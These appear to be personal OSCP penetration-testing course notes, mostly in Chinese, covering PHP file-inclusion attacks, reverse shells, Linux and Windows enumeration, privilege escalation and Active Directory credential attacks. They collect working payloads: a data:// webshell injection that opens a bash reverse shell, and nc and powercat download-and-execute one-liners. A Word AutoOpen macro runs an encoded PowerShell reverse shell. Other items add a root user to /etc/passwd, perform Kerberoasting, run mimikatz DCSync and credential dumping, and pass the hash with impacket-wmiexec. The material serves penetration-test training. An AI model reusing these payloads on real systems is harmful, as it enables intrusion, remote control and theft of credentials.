/var/www/html/
# 帳號密碼
/etc/passwd
# ssh
# 私鑰 (權限要600)(chown 600 id_rda)
~/.ssh/id_rsa
# 公鑰
~/.ssh/id_rsa.pub
# known_hosts(連線過主機公鑰)
~/.ssh/know_hosts


# log路徑
/var/log/
# apache log
/var/log/apache2/access.log
/var/log/apache2/err.log
# 系統版本
/etc/issue
/etc/os-release

# 排程
/etc/cron*
/var/log/cron.log

# 防火牆
/etc/iptables/rules.v4

# 掛載
/etc/fstab 
# wordpress 管理路徑
/var/www/html/wp-admin/
# wordpress 內容
/var/www/html/wp-content/

# confluence 設定檔
/var/atlassian/application-data/confluence/confluence.cfg.xml
【OSCP】課程筆記

【php】php攻擊手法

php 漏洞網頁

index.php

<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!--
使用page 參數可以注入頁面
-->
<?php $adminpage=$_GET['page']; if(isset($adminpage)) { include($adminpage); } ?>

編碼操作:

以下是一個簡單的例子,演示如何使用 `php://filter` 在包含文件的過程中應用 `base64_decode` 過濾器:

// php://filter/read=convert.base64-decode 可將某個文件編碼(base64)
// 編碼顯示後可以用工具解碼,還原原始網頁
include("php://filter/read=convert.base64-decode/resource=admin.php");

"AgZWNobyBzeXN0ZW0oJF9HR..."

# 還原base64編碼(shell)
echo "AgZWNobyBzeXN0ZW0oJF9HR..." | base64 -d > admin.php
cat admin.php
  
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Maintenance</title>
</head>
<body>

載入編碼:

# 將指令編碼
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
// PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==
  
# 注入指令(一次性)
# cmd: uname -a (%20:空白,指令可依需求替換)
# 在 PHP 中,`data://` 是一種偽協議,它允許你在代碼中直接使用數據,而不必引用外部文件。
# 通過 `data://` 協議,你可以在字符串中直接嵌入數據,而無需使用外部文件。
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=uname%20-a"

# 或是直接開reverse shell
bash -c "bash -i >& /dev/tcp/192.168.119.3/443 0>&1"
# 進行urlencode => https://gchq.github.io/
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.157%2F4444%200%3E%261%22%0A
# 注入webshell
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.157%2F443%200%3E%261%22%0A"

curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.157%2F443%200%3E%261%22%0A"


 

# 要使用 `php://filter`,你需要確保 PHP 的配置檔(通常是 `php.ini`)中開啟了以下選項:
allow_url_fopen = On
allow_url_include = On

# 要使用 `data://`,你需要確保 PHP 的配置檔(通常是 `php.ini`)中開啟了以下選項:
allow_url_fopen = On
【OSCP】課程筆記

【反向 shell】

https://gchq.github.io/CyberChef

https://www.online-python.com/

Online - Reverse Shell Generator (revshells.com)

# kali 開啟 443 listener
nc -nvlp 443

window

# 一旦監聽器正在運行,我們將再次使用Web殼在MULTISERVER03上執行`nc.exe`,
# 並使用`-e`參數在連接建立後執行`cmd.exe`。
C:\Windows\Temp\nc.exe -e cmd.exe 192.168.118.4 443
//windows
os-shell> curl http://192.168.45.189/nc.exe -o "C:\\inetpub\\wwwroot\\nc.exe"

os-shell> C:\\inetpub\\wwwroot\\nc.exe 192.168.45.189 4444 -e cmd.exe
// or
powershell.exe -nop -w hidden \
-enc 'IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.189/powercat.ps1");powercat -c 192.168.45.189 -p 4444 -e powershell'
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."

n = 50

for i in range(0, len(str), n):
	print("Str = Str + " + '"' + str[i:i+n] + '"')
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.237/powercat.ps1');powercat -c 192.168.45.237 -p 443 -e powershell

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.237/powercat.ps1');powercat -c 192.168.45.237 -p 443 -e powershell

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String

Str = Str + "powershell.exe -nop -w hidden -e SUVYKE5ldy1PYmplY"
Str = Str + "3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5"
Str = Str + "nKCdodHRwOi8vMTkyLjE2OC40NS4yMzcvcG93ZXJjYXQucHMxJ"
Str = Str + "yk7cG93ZXJjYXQgLWMgMTkyLjE2OC40NS4yMzcgLXAgNDQzIC1"
Str = Str + "lIHBvd2Vyc2hlbGw="
  
CreateObject("Wscript.Shell").Run Str

End Sub

python

import sys
import base64
kali = "192.168.45.153"
payload = '$client = New-Object System.Net.Sockets.TCPClient("'+kali+'",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)


橫移登入
$ip = '192.168.236.72';
$username = 'jen';
$password = 'Nexus123!';
$base64Cmd = 'JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEAOAA3ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM;
$Session = New-Cimsession -ComputerName $ip -Credential $credential -SessionOption $Options;
$Command = 'powershell -nop -w hidden -e '+ $base64Cmd;
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

 

Linux

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.4 443 >/tmp/f
【OSCP】課程筆記

【Linux】【列舉】常用命令

# 尋找當前用戶可寫目錄
oe@debian-privesc:~$ find / -writable -type d 2>/dev/null
..
/home/joe
/home/joe/Videos
/home/joe/Templates
/home/joe/.local
/home/joe/.local/share
# 搜索帶有 SUID 位設置的文件(-type f,-perm -u=s)
# -perm 權限搜索 -u UID 
joe@debian-privesc:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/fusermount
# 使用python3 打開tty
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 建立user root2 
joe@debian-privesc:~$ openssl passwd w00t
Fdzt.eqJQ4s0g

joe@debian-privesc:~$ echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

joe@debian-privesc:~$ su root2
Password: w00t

root@debian-privesc:/home/joe# id
uid=0(root) gid=0(root) groups=0(root)
# 尋找設置uid檔案
joe@debian-privesc:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
/usr/bin/perl5.28.1 = cap_setuid+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
joe@debian-privesc:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

joe@debian-privesc:~$ id 
uid=1000(joe) gid=1000(joe) groups=1000(joe),24(cdrom),25(floppy),29(audio),30(dip),44(video),
46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)

joe@debian-privesc:~$ hostname
debian-privesc

joe@debian-privesc:~$ cat /etc/issue
Debian GNU/Linux 10 \n \l

joe@debian-privesc:~$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

joe@debian-privesc:~$ uname -a
Linux debian-privesc 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30)
x86_64 GNU/Linux

joe@ubuntu-privesc:~$ uname -r 
4.4.0-116-generic

joe@ubuntu-privesc:~$ arch 
x86_64
# 土炮 nmap
database_admin@pgdatabase01:~$ for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done

< (seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done
nc: connect to 172.16.50.1 port 445 (tcp) timed out: Operation now in progress
...
nc: connect to 172.16.50.216 port 445 (tcp) failed: Connection refused
Connection to 172.16.50.217 445 port [tcp/microsoft-ds] succeeded!
nc: connect to 172.16.50.218 port 445 (tcp) timed out: Operation now in progress
...
database_admin@pgdatabase01:~$ 
# 查詢sudo 可用指令
eve@debian-privesc:~$ sudo -l
[sudo] password for eve:
Matching Defaults entries for eve on debian-privesc:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User eve may run the following commands on debian-privesc:
    (ALL : ALL) ALL
joe@debian-privesc:~$ env
...
XDG_SESSION_CLASS=user
TERM=xterm-256color
SCRIPT_CREDENTIALS=lab
USER=joe
LC_TERMINAL_VERSION=3.4.16
SHLVL=1
XDG_SESSION_ID=35
LC_CTYPE=UTF-8
XDG_RUNTIME_DIR=/run/user/1000
SSH_CLIENT=192.168.118.2 59808 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
MAIL=/var/mail/joe
SSH_TTY=/dev/pts/1
OLDPWD=/home/joe/.cache
_=/usr/bin/env
# ps 查看進程
joe@debian-privesc:~$ watch -n 1 "ps -aux | grep pass"
...

joe      16867  0.0  0.1   6352  2996 pts/0    S+   05:41   0:00 watch -n 1 ps -aux | grep pass
root     16880  0.0  0.0   2384   756 ?        S    05:41   0:00 sh -c sshpass -p 'Lab123' ssh  -t eve@127.0.0.1 'sleep 5;exit'
root     16881  0.0  0.0   2356  1640 ?        S    05:41   0:00 sshpass -p zzzzzz ssh -t eve@127.0.0.1 sleep 5;exit
...
# tcpdump 擷取封包
joe@debian-privesc:~$ sudo tcpdump -i lo -A | grep "pass"
[sudo] password for joe:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
...{...zuser:root,pass:lab -
...5...5user:root,pass:lab -
joe@debian-privesc:~$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.4 169592 10176 ?        Ss   Aug16   0:02 /sbin/init
...
colord     752  0.0  0.6 246984 12424 ?        Ssl  Aug16   0:00 /usr/lib/colord/colord

# -C {proccess name}
joe@debian-privesc:~$ ps u -C passwd
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      1932  0.0  0.1   9364  2984 pts/0    S+   01:51   0:00 passwd

# 按"Uid"關鍵字篩選返回了四個參數,分別對應實際UID、有效UID、保存的設置UID和文件系統UID
joe@debian-privesc:~$ grep Uid /proc/1932/status
Uid:	1000	0	0	0

# 如果find 被賦予 suid 0 
# -exec "/usr/bin/bash":這部分告訴 find 在找到的每個文件上執行指定的命令
joe@debian-privesc:~$ find /home/joe/Desktop -exec "/usr/bin/bash" -p \;
bash-5.0# id
uid=1000(joe) gid=1000(joe) euid=0(root) groups=1000(joe),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)
bash-5.0# whoami
root
joe@debian-privesc:~$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.4 169592 10176 ?        Ss   Aug16   0:02 /sbin/init
...
colord     752  0.0  0.6 246984 12424 ?        Ssl  Aug16   0:00 /usr/lib/colord/colord
# -C {proccess name}
joe@debian-privesc:~$ ps u -C passwd
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      1932  0.0  0.1   9364  2984 pts/0    S+   01:51   0:00 passwd

joe@debian-privesc:~$ ip a
3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:8a:72:64 brd ff:ff:ff:ff:ff:ff
    inet 172.16.60.214/24 brd 172.16.60.255 scope global ens224
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe8a:7264/64 scope link
       valid_lft forever preferred_lft forever
       
# route or routel
joe@debian-privesc:~$ routel
         target            gateway          source    proto    scope    dev tbl
/usr/bin/routel: 48: shift: cant shift that many
        default     192.168.50.254                   static          ens192
    172.16.60.0 24                   172.16.60.214   kernel     link ens224
   192.168.50.0 24                  192.168.50.214   kernel     link ens192
      127.0.0.0          broadcast       127.0.0.1   kernel     link     lo local
      127.0.0.0 8            local       127.0.0.1   kernel     host     lo local
      
# -a 列舉所有連接,使用 -n 避免主機名解析,-p 顯示連接所屬的進程
joe@debian-privesc:~$ ss -anp
Netid      State       Recv-Q      Send-Q                                        Local Address:Port                     Peer Address:Port
nl         UNCONN      0           0                                                         0:461                                  *
nl         UNCONN      0           0                                                         0:323                                  *
nl         UNCONN      0           0                                                         0:457
joe@debian-privesc:~$ ls -lah /etc/cron*
-rw-r--r-- 1 root root 1.1K Oct 11  2019 /etc/crontab

/etc/cron.d:
/etc/cron.daily:
/etc/cron.hourly:
/etc/cron.monthly:
/etc/cron.weekly:


joe@debian-privesc:~$ crontab -l
joe@debian-privesc:~$ crontab -e
joe@debian-privesc:~$ cat /etc/iptables/rules.v4
# Generated by xtables-save v1.8.2 on Thu Aug 18 12:53:22 2022
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -p tcp -m tcp --dport 1999 -j ACCEPT
COMMIT
# Completed on Thu Aug 18 12:53:22 2022
joe@debian-privesc:~$ dpkg -l
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                                  Version                                      Architecture Description
+++-=====================================-============================================-============-===============================================================================
ii  accountsservice                       0.6.45-2                                     amd64        query and manipulate user account information
ii  acl                                   2.2.53-4                                     amd64        access control list - utilities
ii  adduser                               3.118                                        all       
joe@debian-privesc:~$ cat /etc/fstab 
...
UUID=60b4af9b-bc53-4213-909b-a2c5e090e261 /               ext4    errors=remount-ro 0       1
# swap was on /dev/sda5 during installation
UUID=86dc11f3-4b41-4e06-b923-86e78eaddab7 none            swap    sw              0       0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0

joe@debian-privesc:~$ mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1001064k,nr_inodes=250266,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=204196k,mode=755)

joe@debian-privesc:~$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   32G  0 disk
|-sda1   8:1    0   31G  0 part /
|-sda2   8:2    0    1K  0 part
`-sda5   8:5    0  975M  0 part [SWAP]
sr0     11:0    1 1024M  0 rom
# lsmod 命令列舉已加載的內核模塊
joe@debian-privesc:~$ lsmod
Module                  Size  Used by
binfmt_misc            20480  1
rfkill                 28672  1

...
drm                   495616  5 vmwgfx,drm_kms_helper,ttm
libata                270336  2 ata_piix,ata_generic
vmw_pvscsi             28672  2
scsi_mod              249856  5 vmw_pvscsi,sd_mod,libata,sg,sr_mod

# modinfo 來查找有關特定模塊的更多信息。注意,此工具需要完整的路徑來運行。
joe@debian-privesc:~$ /sbin/modinfo libata
filename:       /lib/modules/4.19.0-21-amd64/kernel/drivers/ata/libata.ko
version:        3.00
license:        GPL
description:    Library module for ATA devices
author:         Jeff Garzik
srcversion:     00E4F01BB3AA2AAF98137BF
depends:        scsi_mod
retpoline:      Y
intree:         Y
name:           libata
vermagic:       4.19.0-21-amd64 SMP mod_unload modversions
sig_id:         PKCS#7
signer:         Debian Secure Boot CA
sig_key:        4B:6E:F5:AB:CA:66:98:25:17:8E:05:2C:84:66:7C:CB:C0:53:1F:8C
...

 

 

【OSCP】課程筆記

【Windows】【列舉】常用命令

powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe
net user
net user /domain
net user {name} /domain
net group /domain
net group "Sales Department" /domain

image-1702190335677.png

image-1702190442524.png

PS C:\Users\jeff> net accounts

image-1702380882199.png

有很多有用的信息,但讓我們首先關注鎖定閾值,這表示在鎖定之前的五次登錄嘗試。這意味著我們可以安全地嘗試四次登錄,然後才會觸發鎖定。儘管這可能看起來不多,我們還應該考慮鎖定觀察窗口,它表示在最後一次失敗登錄後的三十分鐘內,我們可以進行額外的嘗試。

# powershell 對分享資料夾可以直接用ls, cat 指令
PS C:\Tools> ls "\\FILES04.corp.com\Important Files"

    Directory: \\FILES04.corp.com\Important Files

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         12/7/2023   7:54 AM             78 proof.txt

PS C:\Tools> cat "\\FILES04.corp.com\Important Files\proof.txt"
OS{xxxxx}

powershell -ep bypass
# 取得所有localgroup
PS C:\Users\dave> Get-LocalGroup
...省略
Performance Monitor Users           Members of this group can access performance counter data locally and remotely     
Power Users                         Power Users are included for backwards compatibility and possess limited adminis...
Remote Desktop Users                Members in this group are granted the right to logon remotely                      
Remote Management Users             Members of this group can access WMI resources over management protocols (such a...
Replicator                          Supports file replication in a domain                                              
...省略

# 取得 "Administrators" 成員
PS C:\Users\mac> Get-LocalGroupMember Administrators

ObjectClass Name                      PrincipalSource
----------- ----                      ---------------
User        CLIENTWK221\Administrator Local
User        CLIENTWK221\offsec        Local
User        CLIENTWK221\roy           Local

# 取得 "Remote Management Users" 成員
PS C:\Users\dave> Get-LocalGroupMember "Remote Management Users"
ObjectClass Name                  PrincipalSource
----------- ----                  ---------------
User        CLIENTWK220\daveadmin Local          
User        CLIENTWK220\steve     Local

# 取得 process 路徑
PS C:\Users\mac> Get-Process | Select-Object -ExpandProperty Path
...省略
C:\Program Files\WindowsApps\MicrosoftTeams_22287.702.1670.9453_x64__8wekyb3d8bbwe\msteams.exe
C:\Users\mac\AppData\Roaming\SuperCompany\NonStandardProcess.exe
C:\Users\mac\AppData\Local\Microsoft\OneDrive\OneDrive.exe
...省略
C:\Users\dave>powershell
# 查詢目前安裝程式
...省略
PS C:\Users\dave> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" > out.log
...省略
PSProvider      : Microsoft.PowerShell.Core\Registry

(default)    : OS{xxxxx}
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninsta
               ll\flag
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninsta
               ll
PSChildName  : flag
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry
...省略

# 找尋輸出並帶有OS文字
PS C:\Users\dave> type out.log | findstr "OS"  
type out.log | findstr "OS"
 OS{xxxxx}
# 尋找檔案
# Get-ChildItem -Path {path} -Include {file pattern} -File -Recurse -ErrorAction SilentlyContinue
PS C:\Users\steve> Get-ChildItem -Path C:\Users\steve\ -Include *.txt,*.log -File -Recurse -ErrorAction SilentlyContinue
    Directory: C:\Users\steve\Contacts
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         12/6/2022   2:12 AM            168 logins.txt

PS C:\Users\steve> type C:\Users\steve\Contacts\logins.txt

https://myjobsucks.fr33lancers.com
user: steve
pass: thisIsWhatYouAreLookingFor
# Get-History 尋找歷史紀錄
PS C:\Users\mac> Get-History
PS C:\Users\mac> (Get-PSReadlineOption).HistorySavePath
C:\Users\mac\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS C:\Users\mac> type C:\Users\mac\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

OS{xxxxx}
Get-History
(Get-PSReadlineOption).HistorySavePath
【OSCP】課程筆記

【kali】解析度設定

 

【OSCP】課程筆記

【Windows】【提權】Get-ObjectAcl 搜尋自己可管理帳號

Get-NetUser 找到自己 sid

# 方法一
PS C:\Tools> Get-NetUser -Identity stephanie

logoncount            : 122
badpasswordtime       : 9/27/2023 2:06:58 AM
distinguishedname     : CN=stephanie,CN=Users,DC=corp,DC=com
objectclass           : {top, person, organizationalPerson, user}
lastlogontimestamp    : 12/10/2023 4:47:22 AM
name                  : stephanie
objectsid             : S-1-5-21-1987370270-658905905-1781884369-1104
samaccountname        : stephanie

# 方法二
PS C:\tools> Get-NetUser "stephanie" | select cn,objectsid

cn        objectsid
--        ---------
stephanie S-1-5-21-1987370270-658905905-1781884369-1104

Get-ObjectAcl 搜尋可管理帳號

Get-ObjectAcl | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | ? {$_.SecurityIdentifier -match 'S-1-5-21-1987370270-658905905-1781884369-1104'} | select ObjectSID

Get-ObjectAcl | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | ? {$_.SecurityIdentifier -match 'S-1-5-21-1987370270-658905905-1781884369-1104'} | select ObjectSID

Convert-SidToName sid 轉換成名稱

image-1706945673821.png

修改密碼,轉換身份登入

# net user /domain {name} {密碼} 
PS C:\Users\stephanie> net user /domain robert A12345
The request will be processed at a domain controller for domain corp.com.
# 更換身份 執行cmd
# runas /user:{user} cmd
PS C:\Users\stephanie> runas /user:corp\robert cmd
Enter the password for corp\robert:
Attempting to start cmd as user "corp\robert" ...
【OSCP】課程筆記

【Windows】登入方法

密碼

取得方法:

# impacket-GetUserSPNs => Kerberoasting攻擊 取得hash
# hashcat 破解

sudo impacket-GetUserSPNs -request -dc-ip 192.168.198.70 corp.com/meg
http/files04.corp.com   backupuser   CN=Domain Admins,CN=Users,DC=corp,DC=com  2023-12-11 10:36:14.564895  <never>                                   
...
[-] CCache file is not found. Skipping...
$krb5tgs$23$*backupuser$CORP.COM$corp.com/backupuser*$096b74a0a8eadb71d68c1d148eeb9dda$4b0294e2de695f87fa4a024eefafc6ef689ef17e2662f3884c68ebc7cb19f15fe2e82264fa4eb1987584b296426d085463faf4bacf97d70e247449159353d5803fbefdf64734bb42e06a1de083ca392fd5325c42bc1ec23f7781c341f143ce5872ee1b6fcb1eda292514b687b7f36fe97b6d8dbb00060264af8efc7a027470fac2bc480a540b4d282d7a6fd92ebb177941170bde251871b162c7cb52423e5a3265e84fdd9354f42754f4969ac790189cd10e3884ed3f7ddef68ea5e1f8339b06d4ff4f504012f9bfc904d4c27bec891141e473c6b1240433233a5dac4943df3440a4761381e705a4f5cb91924e12322c7dd975734f200ab2609edf9996f77b1c2e121578db8e0e217b539badf48cecc15f3a4ce093af2ca2d6b2ec225586166b77d77a4a3885dace734e7b1447ba68e4e62b1c8bfd50364a73a9e7c38c4b665657417cb7df49482bf4c17429b0b0737e13f3da403be9133a2e98d32a9537bed14c146715a34f415e71c28684d8c6afcd022e61daa0d6d1c93e030f7f90043ad84b616ca46a10a883b3a5fa01dc1eb215806a35ba1f5d8f9cfeb3fe5ca1e03d6478127b45d165d9b4a598d9d29c97e33895dcbf3844ca5faa38a4ba4b19b4a268f21a44e6f40bb7fa9e0b1a481f29f42bdd60df61609755b7f1da9c75ff6685005ce2882b9a0b98d0781eca0f560545180f01c63611c57b47bd222721a5465b95823bf2a8da33115ca52bea80004367694e9e23738300e5bb5294da55846ddc1f3ebd3e3d13ec932a1c7fa8b439d3c452d7899c1fae03ae8078a25c2f61ec91bdbefdd08687636bd45497393249470e4b2ec2ac2877bf57648a06ba432fac6a9995bc53dc8e8e5cebd49bfec93bd4f6e5e2c7639f4310c7e0ea348c3cadf7a5b443a52a53957d04d1bdf30370983f21e2306869a7db7abc13df9416df85eb85e71a0669c8cb2d4ee9a9030eac5c421f0108d8ba763f3102e57d5a220f2bda97693cd1493c9f494298d7ca057fe39bc2ee1213990b8b00bbe1f076d852f171a18a7e5c496b963c61e4c63b7197e0e7500afeaf192e6d84f2694e83df5aef914452bbbc5387cefc0ac906d8a1f11258f89a8bd3651bd5a0ed2e2609f22ee825646e422826413030318cb29df4b04a66b50e2f519007e36942049034e30b13c5d96662a846fe56f524066bedadf246ce6a4a3d1453b664a5dbae36bf5b8361b6a7b7540fb8154404f8c677b70c0b89769293aa5915e77efa1c2c0318bf55755a493e32487a7e37b676b661209aa47f85e9e482072cfbaf18485322b475f0
...
hash -> hashes.kerberoast3 
...
sudo hashcat -m 13100 hashes.kerberoast3 /usr/share/wordlists/rockyou.txt -r demo.rule --force

image-1708138898385.png


NTLM

取得方法:

mimikatz.exe + impacket-wmiexec

C:\tools\mimikatz.exe
privilege::debug
lsadump::dcsync /user:corp\Administrator

image-1708444181561.png

impacket-wmiexec -hashes :2892d26cdf84d7a70e2eb3b9f05c425e Administrator@192.168.233.70

NTLM (沒有admin 找 同等權限帳號)

C:\tools\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
Authentication Id : 0 ; 2421341 (00000000:0024f25d)
Session           : RemoteInteractive from 2
User Name         : offsec
Domain            : CLIENT74
Logon Server      : CLIENT74
Logon Time        : 2/20/2024 3:50:48 AM
SID               : S-1-5-21-4060895957-195960390-4124122524-1001
        msv :
         [00000003] Primary
         * Username : offsec
         * Domain   : CLIENT74
         * NTLM     : 2892d26cdf84d7a70e2eb3b9f05c425e
         * SHA1     : a188967ac5edb88eca3301f93f756ca8e94013a3
        tspkg :
        wdigest :
         * Username : offsec
         * Domain   : CLIENT74
         * Password : (null)
        kerberos :
         * Username : offsec
         * Domain   : CLIENT74
         * Password : (null)
/usr/bin/impacket-wmiexec -hashes :2892d26cdf84d7a70e2eb3b9f05c425e Administrator@192.168.233.72
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

...登入

NTLM(pth)

C:\tools\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
